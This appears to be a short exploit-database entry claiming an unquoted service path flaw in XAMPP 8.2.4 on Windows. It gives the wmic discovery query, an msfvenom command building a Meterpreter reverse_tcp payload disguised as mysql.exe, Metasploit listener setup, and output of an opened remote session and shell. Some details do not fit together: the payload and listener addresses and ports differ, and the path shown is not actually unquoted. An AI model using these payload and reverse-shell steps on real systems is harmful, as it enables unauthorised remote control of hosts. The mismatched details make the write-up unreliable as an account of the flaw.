XAMPP 8.2.4 - Unquoted Path

# Exploit Title: XAMPP 8.2.4 - Unquoted Path
# Date: 07/2023
# Exploit Author: Andrey Stoykov
# Version: 8.2.4
# Software Link: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.4/xampp-windows-x64-8.2.4-0-VS16-installer.exe
# Tested on: Windows Server 2022
# Blog: http://msecureltd.blogspot.com/


Steps to Exploit:

1. Search for unquoted paths
2. Generate meterpreter shell
3. Copy shell to XAMPP directory replacing "mysql.exe"
4. Exploit by double clicking on shell


C:\Users\astoykov>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

mysql                                                                               mysql                                     C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql            Auto



// Generate shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4444 -f exe -o mysql.exe 


// Setup listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.1.13
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > set payload meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run


msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.13:4443 
[*] Sending stage (175686 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.13:4443 -> 192.168.1.11:49686) at 2023-07-08 03:59:40 -0700


meterpreter > getuid
Server username: WIN-5PT4K404NLO\astoykov
meterpreter > getpid
Current pid: 4724
meterpreter > shell
Process 5884 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.1]
(c) Microsoft Corporation. All rights reserved.
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C:\xampp\mysql\bin>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 80B5-B405

 Directory of C:\xampp\mysql\bin
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